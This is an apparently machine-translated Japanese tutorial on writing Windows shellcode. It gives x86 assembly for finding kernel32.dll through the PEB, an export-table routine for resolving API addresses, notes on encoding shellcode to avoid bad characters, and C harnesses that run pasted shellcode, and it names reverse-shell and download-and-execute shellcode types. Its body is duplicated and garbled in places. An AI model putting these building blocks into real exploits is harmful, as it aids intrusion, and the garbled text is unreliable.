Windows shellcodeまとめ
shellcodeといえば迷っているかもしれませんが、何なのか分からないし、神秘的だと思っているかもしれません.その専門的な解釈についてもあまり言及されていません.今日はwindowsの下のshellcodeについて、以下のいくつかの面から分析します.shellcodeの発展の歴史と定義2.現在よく見られるwindowsの下のshellcodeの種類3.shellcodeプロセス4を記述する.shellocode例5、shellcode符号化6、shllcode 1をテストする.
1.shellcodeの発展の歴史と定義:shellcodeの発展の歴史について、failewest兄の「0 dayセキュリティ:ソフトウェア脆弱性分析技術」という本でよく知っています.ここでは「1996年、Aleph OneがUndergroundで有名な論文『SMASHING THE STACK FOR FUNAND PROFAT』を発表した」というエピソードを引用します.ここでは、Linuxシステムにおけるスタックの構造と、スタックベースのバッファオーバーフローをどのように利用するかを詳細に説明する.この画期的な論文では,Aleph Oneがshellを得るためのコードをプロセスにどのようにインプラントするかを示し,論文ではこのインプラントされたプロセスのコードを「shellcode」と呼ぶ.その後、バッファオーバーフロー攻撃にインプラントされたプロセスのコードと呼ばれるshellcodeという専用用語を統一した.このコードは、悪作劇の目的でメッセージボックスをポップアップしたり、攻撃の目的で重要なファイルを削除したり、データを盗んだり、木馬ウイルスをアップロードしたり、実行したり、破壊の目的でフォーマットされたハードディスク(HDD)を実行したりすることができます.」実は、今shellcodeの応用も広くて、甚だしきに至っては一部の遠隔制御ソフトウェアも自分をshellcodeの形式にすることができて、私たちはこれがオーバーフローした後に悪いことをするコードであることを理解すれば.(文章で述べたshellcodeもすべてオーバーフローに関連するshellcodeである).今よくあるwindowsの下のshellcodeの種類ここで、私は直接機能から分類します:(1)リバウンドポートクラス(shell)これは本当の原始的な意味でのshellcodeで、(2)ダウンロードして実行クラス(download&exec)これは最も簡単なshellcodeです.網馬での応用も最も広範である(3)実行可能ファイルクラス(bindfile)を生成して実行するにはなぜこのようなshellcodeがあるのだろうか.脆弱性を作った悪人が前の2種類のshellcodeをアプリケーションexploitにバインドすると、意外なことが起こります.a)もしあなたのリバウンド行為がファイアウォールにブロックされたらどうしますか.b)相手の防犯意識が高ければdocやpdfなどのファイルを開くときにネットを切ってから開くのはどうでしょうか.ああ、とっくに悪人が私たちのためにこれらの問題を考えてくれて、彼らは自分のexeもexploitにバインドして、shellcodeの機能はexeを解放して、それから実行します.この方法は少し邪悪でしょう.shellcodeプロセスの作成(1)kernel 32を検索する.dllベースアドレス:shellcodeで使用されるAPI関数は一般的にユーザーインタフェースとは関係ありません.悪いことをするため、一般的にはこっそりしているので、kernel 32が一般的に使用されています.dllの関数です.したがって、各APIのアドレスの特定のアドレスをさらに見つけるには、kernel 32のベースアドレスを見つけなければならない.apiベースアドレスの取得方法については、ここで最も簡単な方法について説明します(多くの達人の実践経験が集まっています):PEBを利用してkernel 32ベースアドレスを検索します.
1.fsレジスタはTEB構造2を指す.TEB+0 x 30でPEB構造3を指す.PEB+0 x 0 CでPEB_を指すLDR_DATA構造4.PEB_でLDR_DATA+0 x 1 Cはntdllを最初に指すような動的接続ライブラリアドレスである.dll、2つ目はkernel 32です.dllのアドレス.
コード:
上記のコードはwindow 95からwindows visataまでサポートされていますが、window 7はサポートされていません.window 7ではkernel 32.dllは2番目ではなく3番目です.Windows 7をサポートするコードは以下の通りです.
このコードはkernel 32を利用する.dllはInMemoryOrderModuleListの3番目の事実である.(だからそれは
InitializationOrderを検索する前のコードとは少し異なる方法です.
(2)API関数アドレスの検索
上にkernel 32のベースアドレスが見つかりましたが、具体的なapi関数アドレスはどのように得られますか?ここではpeファイルフォーマットに触れる必要があります.ここではdllファイルからその関数を見つけて表の関数アドレスを引き出す方法だけを説明します.
a.kernel 32ベースアドレス+0 x 3 cでe_を取得するlfanewcアドレス、すなわちPEヘッダを得ることができる
b.PEヘッダオフセットの0 x 78で得られる関数引き出しテーブルアドレス
c.引き出しテーブルの0 x 1 cオフセットでAddressOfFunctions、AddressOfName、AddressOfName Ordinalseを取得する
d.AddressOfFunctionsとAddressOfNamesは、AddressOfNameOrdinalseにより、関数アドレスと関数名が1つずつ対応する2つの配列である
e.次のように計算されます.
AddressOfNameを検索し、「GetProcAddress」に対応するindexを決定します.
index = AddressOfNameOrdinalse [ index ];
関数アドレス=AddressOfFunctions[index];
コード:
(3)他の関数アドレスの位置決め
まずkernelを通ることができます.dllはloadlibraryA関数のアドレスを位置決めし、位置決めが必要な関数がkernel 32にない場合.dllライブラリでは、LoadlibraryAでライブラリのベースアドレスを取得し、必要な関数アドレスを2ステップ目で取得します.またはkernelを取得します.dllのGetProcAddressアドレスは、他の関数のアドレスを取得できます.関数アドレスをスタックに保存します.
#include #include typedef void (*MYPROC)(LPTSTR);//定義関数ポインタint main(){HINSTANCE LibHandle;MYPROC ProcAdd;LibHandle=LoadLibrary("user 32.dll");ProcAdd=(MYPROC)GetProcAddress(LibHandle,"MesageBox");(ProcAdd)(0,"test","test",1);return 0;}
(4)コンストラクタパラメータ
呼び出しが必要な関数パラメータをスタックに挿入し、右から左へ順にスタックに入り、関数のアドレスを呼び出して関数を実行します.たとえば、
push dword ptr 0 x 0004173 push dword ptr 0 x 7365636 f push dword ptr 0 x 72506574 push dword ptr 0 x 61657243文字列をスタックpush espに入力文字列アドレスをスタックpush ediの最初のパラメータをスタックcall[ebp+76]呼び出し関数関数アドレスはスタックに保存されます
4 windowsshellcode作成例
1)計算機shellcodeフロー
位置決めkernel 32.dllベースアドレスクエリインポートテーブルを取得してWinExecとExitProcessのアドレスWinExecのパラメータをスタック呼び出しWinExec ExitProcessのパラメータをスタック呼び出しExitProcess
2)MessageboxA shellcodeプロセス
kernel 32のベースアドレスを位置決めkernel 32を見つける.dllのLoadLibraryAおよびExitProcesは、ハッシュ値によりuser 32をロードする.dll(LoadLibraryAポインタはスタックにある必要があるため、パラメータとして「user 32.dll」を指す文字列ポインタが1つであれば、LoadLibraryAというAPIを呼び出す).
MessageBoxA関数アドレスを取得し、スタックに格納してMessageBoxAのパラメータをスタックに入れ、MessageBoxを呼び出しExitProcessのパラメータをスタックに入れてExitProcessを呼び出す
5 shellcode符号化方法符号化により特殊な測文字を除去する
(1)add&subで元の値を再生成(2)元の値を1バイトずつ(3)XOR(4)レジスタ使用状況に応じて下位AL AH AXなど(5)使用代替命令(6)で符号化
6 shellcodeテストコード
char shellcode[] = "paste your shellcode here"; int main(int argc, char **argv) { int(*func)(); func = (int (*)()) shellcode; (int)(*func)(); }
または
char shellcode[] = "paste your shellcode here"; int main(int argc, char **argv) { __asm { lea eax, bindshell push eax ret } }
1.shellcodeの発展の歴史と定義:shellcodeの発展の歴史について、failewest兄の「0 dayセキュリティ:ソフトウェア脆弱性分析技術」という本でよく知っています.ここでは「1996年、Aleph OneがUndergroundで有名な論文『SMASHING THE STACK FOR FUNAND PROFAT』を発表した」というエピソードを引用します.ここでは、Linuxシステムにおけるスタックの構造と、スタックベースのバッファオーバーフローをどのように利用するかを詳細に説明する.この画期的な論文では,Aleph Oneがshellを得るためのコードをプロセスにどのようにインプラントするかを示し,論文ではこのインプラントされたプロセスのコードを「shellcode」と呼ぶ.その後、バッファオーバーフロー攻撃にインプラントされたプロセスのコードと呼ばれるshellcodeという専用用語を統一した.このコードは、悪作劇の目的でメッセージボックスをポップアップしたり、攻撃の目的で重要なファイルを削除したり、データを盗んだり、木馬ウイルスをアップロードしたり、実行したり、破壊の目的でフォーマットされたハードディスク(HDD)を実行したりすることができます.」実は、今shellcodeの応用も広くて、甚だしきに至っては一部の遠隔制御ソフトウェアも自分をshellcodeの形式にすることができて、私たちはこれがオーバーフローした後に悪いことをするコードであることを理解すれば.(文章で述べたshellcodeもすべてオーバーフローに関連するshellcodeである).今よくあるwindowsの下のshellcodeの種類ここで、私は直接機能から分類します:(1)リバウンドポートクラス(shell)これは本当の原始的な意味でのshellcodeで、(2)ダウンロードして実行クラス(download&exec)これは最も簡単なshellcodeです.網馬での応用も最も広範である(3)実行可能ファイルクラス(bindfile)を生成して実行するにはなぜこのようなshellcodeがあるのだろうか.脆弱性を作った悪人が前の2種類のshellcodeをアプリケーションexploitにバインドすると、意外なことが起こります.a)もしあなたのリバウンド行為がファイアウォールにブロックされたらどうしますか.b)相手の防犯意識が高ければdocやpdfなどのファイルを開くときにネットを切ってから開くのはどうでしょうか.ああ、とっくに悪人が私たちのためにこれらの問題を考えてくれて、彼らは自分のexeもexploitにバインドして、shellcodeの機能はexeを解放して、それから実行します.この方法は少し邪悪でしょう.shellcodeプロセスの作成(1)kernel 32を検索する.dllベースアドレス:shellcodeで使用されるAPI関数は一般的にユーザーインタフェースとは関係ありません.悪いことをするため、一般的にはこっそりしているので、kernel 32が一般的に使用されています.dllの関数です.したがって、各APIのアドレスの特定のアドレスをさらに見つけるには、kernel 32のベースアドレスを見つけなければならない.apiベースアドレスの取得方法については、ここで最も簡単な方法について説明します(多くの達人の実践経験が集まっています):PEBを利用してkernel 32ベースアドレスを検索します.
1.fsレジスタはTEB構造2を指す.TEB+0 x 30でPEB構造3を指す.PEB+0 x 0 CでPEB_を指すLDR_DATA構造4.PEB_でLDR_DATA+0 x 1 Cはntdllを最初に指すような動的接続ライブラリアドレスである.dll、2つ目はkernel 32です.dllのアドレス.
コード:
assume fs:nothing
mov eax,fs:[30h]
test eax,eax
js os_9x
os_nt:
mov eax,[eax+0ch]
mov esi,[eax+1ch]
lodsd
mov eax,[eax+8]
jmp k_finished
os_9x:
mov eax,[eax+34h]
mov eax,[eax+7ch]
mov eax,[eax+3ch]
k_finished:
sub esp,200
mov edi,esp
mov [edi+8],eax ; kernel32
上記のコードはwindow 95からwindows visataまでサポートされていますが、window 7はサポートされていません.window 7ではkernel 32.dllは2番目ではなく3番目です.Windows 7をサポートするコードは以下の通りです.
xor ebx, ebx ; clear ebx
mov ebx, [fs: 0x30 ] ; get a pointer to the PEB
mov ebx, [ ebx + 0x0C ] ; get PEB->Ldr
mov ebx, [ ebx + 0x14 ] ; get PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
mov ebx, [ ebx ] ; get the next entry (2nd entry)
mov ebx, [ ebx ] ; get the next entry (3rd entry)
mov ebx, [ ebx + 0x10 ] ; get the 3rd entries base address (kernel32.dll)
このコードはkernel 32を利用する.dllはInMemoryOrderModuleListの3番目の事実である.(だからそれは
InitializationOrderを検索する前のコードとは少し異なる方法です.
(2)API関数アドレスの検索
上にkernel 32のベースアドレスが見つかりましたが、具体的なapi関数アドレスはどのように得られますか?ここではpeファイルフォーマットに触れる必要があります.ここではdllファイルからその関数を見つけて表の関数アドレスを引き出す方法だけを説明します.
a.kernel 32ベースアドレス+0 x 3 cでe_を取得するlfanewcアドレス、すなわちPEヘッダを得ることができる
b.PEヘッダオフセットの0 x 78で得られる関数引き出しテーブルアドレス
c.引き出しテーブルの0 x 1 cオフセットでAddressOfFunctions、AddressOfName、AddressOfName Ordinalseを取得する
d.AddressOfFunctionsとAddressOfNamesは、AddressOfNameOrdinalseにより、関数アドレスと関数名が1つずつ対応する2つの配列である
e.次のように計算されます.
AddressOfNameを検索し、「GetProcAddress」に対応するindexを決定します.
index = AddressOfNameOrdinalse [ index ];
関数アドレス=AddressOfFunctions[index];
コード:
FindApi: ; API
push ebp
push edi
mov ebp,edi
mov ebx,esp
add ebx,8
xor edx,edx
mov eax,[ebp+8]
add eax,3ch ; PE e_lfanew
mov eax,[eax] ; e_lfanew
add eax,[ebp+8] ; PE header
cmp dword ptr[eax],4550h ; 'PE'
jne NotFound ;kernel32
mov [ebp+0ch],eax ; PE
mov eax,[eax+78h]
add eax,[ebp+8]
mov [ebp+0ch],eax ; IMAGE_EXPORT_DIRECTORY
mov eax,[eax+20h]
add eax,[ebp+8]
mov [ebp+4],eax ;
mov ecx,[ebp+0ch]
mov ecx,[ecx+14h]
FindLoop:
push ecx
mov eax,[eax]
add eax,[ebp+8]
mov esi,ebx
add esi,8
mov edi,eax
mov ecx,[ebx+4]
cld
repe cmpsb
jne FindNext
add esp,4
mov eax,[ebp+0ch]
mov eax,[eax+1ch]
add eax,[ebp+8]
shl edx,2
add eax,edx
mov eax,[eax]
add eax,[ebp+8]
jmp Found
FindNext:
inc edx
add dword ptr[ebp+4],4
mov eax,[ebp+4]
pop ecx
loop FindLoop
NotFound:
xor eax,eax
Found:
pop edi
pop ebp
ret
(3)他の関数アドレスの位置決め
まずkernelを通ることができます.dllはloadlibraryA関数のアドレスを位置決めし、位置決めが必要な関数がkernel 32にない場合.dllライブラリでは、LoadlibraryAでライブラリのベースアドレスを取得し、必要な関数アドレスを2ステップ目で取得します.またはkernelを取得します.dllのGetProcAddressアドレスは、他の関数のアドレスを取得できます.関数アドレスをスタックに保存します.
#include
(4)コンストラクタパラメータ
呼び出しが必要な関数パラメータをスタックに挿入し、右から左へ順にスタックに入り、関数のアドレスを呼び出して関数を実行します.たとえば、
push dword ptr 0 x 0004173 push dword ptr 0 x 7365636 f push dword ptr 0 x 72506574 push dword ptr 0 x 61657243文字列をスタックpush espに入力文字列アドレスをスタックpush ediの最初のパラメータをスタックcall[ebp+76]呼び出し関数関数アドレスはスタックに保存されます
4 windowsshellcode作成例
1)計算機shellcodeフロー
位置決めkernel 32.dllベースアドレスクエリインポートテーブルを取得してWinExecとExitProcessのアドレスWinExecのパラメータをスタック呼び出しWinExec ExitProcessのパラメータをスタック呼び出しExitProcess
2)MessageboxA shellcodeプロセス
kernel 32のベースアドレスを位置決めkernel 32を見つける.dllのLoadLibraryAおよびExitProcesは、ハッシュ値によりuser 32をロードする.dll(LoadLibraryAポインタはスタックにある必要があるため、パラメータとして「user 32.dll」を指す文字列ポインタが1つであれば、LoadLibraryAというAPIを呼び出す).
MessageBoxA関数アドレスを取得し、スタックに格納してMessageBoxAのパラメータをスタックに入れ、MessageBoxを呼び出しExitProcessのパラメータをスタックに入れてExitProcessを呼び出す
5 shellcode符号化方法符号化により特殊な測文字を除去する
(1)add&subで元の値を再生成(2)元の値を1バイトずつ(3)XOR(4)レジスタ使用状況に応じて下位AL AH AXなど(5)使用代替命令(6)で符号化
6 shellcodeテストコード
char shellcode[] = "paste your shellcode here"; int main(int argc, char **argv) { int(*func)(); func = (int (*)()) shellcode; (int)(*func)(); }
または
char shellcode[] = "paste your shellcode here"; int main(int argc, char **argv) { __asm { lea eax, bindshell push eax ret } }